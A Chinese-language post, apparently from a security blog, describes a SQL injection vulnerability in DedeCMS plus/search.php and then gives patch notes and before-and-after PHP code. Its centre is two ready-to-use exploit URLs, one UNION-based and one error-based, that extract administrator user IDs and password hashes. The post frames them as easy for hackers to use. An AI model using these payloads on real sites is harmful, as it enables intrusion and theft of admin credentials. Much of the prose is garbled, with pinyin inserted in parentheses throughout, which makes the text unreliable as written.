織夢(mèng)dedecms的最近出的一高危漏洞，search.php注入漏洞;估計(jì)現(xiàn)在很多黑闊都非常愛(ài)dedecms,因?yàn)榻?jīng)常有各種漏洞爆出.很多利用起來(lái)也都很簡(jiǎn)單.
下面是漏洞的詳細(xì)利用細(xì)節(jié)：
0×1:
http://www.example.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
報(bào)錯(cuò)如果為：Safe Alert: Request Error step 2 !
則利用以下exp:http://www.example.com/plus/search.php?keyword=as&typeArr[111%3D@`/'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`/'`+]=a
0×2:
http://www.example.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
報(bào)錯(cuò)如果為：Safe Alert: Request Error step 1 !
則利用以下exp:http://www.example.com/plus/search.php?keyword=as&typeArr[111%3D@`/'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a
+from+information_schema.tables+group+by+a)b)%23@`/'`+]=a
漏洞修復(fù)：
20130115常規(guī)安全更新
include/arc.searchview.class.php, 搜索功能準(zhǔn)確度優(yōu)化
member/myfriend_group.php, 修復(fù)會(huì)員中心會(huì)員分組功能存在的安全隱患
plus/search.php, 修復(fù)搜索功能存在的安全隱患
登錄DEDECMS后臺(tái)會(huì)有提示，更新即可。不過(guò)貌似官方?jīng)]有提供安全更新補(bǔ)丁的下載地址，找了半天沒(méi)找到~
漏洞分析：
存在漏洞的文件/plus/search.php
//引入欄目緩存并看關(guān)鍵字是否有相關(guān)欄目?jī)?nèi)容
require_once($typenameCacheFile);
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
$keywordn = str_replace($typename, ‘ ‘, $keyword);
if($keyword != $keywordn)
{
$keyword = $keywordn;
$typeid = $id; //對(duì)ID沒(méi)做任何過(guò)濾 導(dǎo)致注入
break;
}
}
}
}
$keyword = addslashes(cn_substr($keyword,30));
修復(fù)之后
//引入欄目緩存并看關(guān)鍵字是否有相關(guān)欄目?jī)?nèi)容
require_once($typenameCacheFile);
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
//$keywordn = str_replace($typename, ‘ ‘, $keyword);
$keywordn = $keyword;
if($keyword != $keywordn)
{
$keyword = HtmlReplace($keywordn);//防XSS
$typeid = intval($id); //強(qiáng)制轉(zhuǎn)換為數(shù)字型
break;
}
}
}
}
$keyword = addslashes(cn_substr($keyword,30));
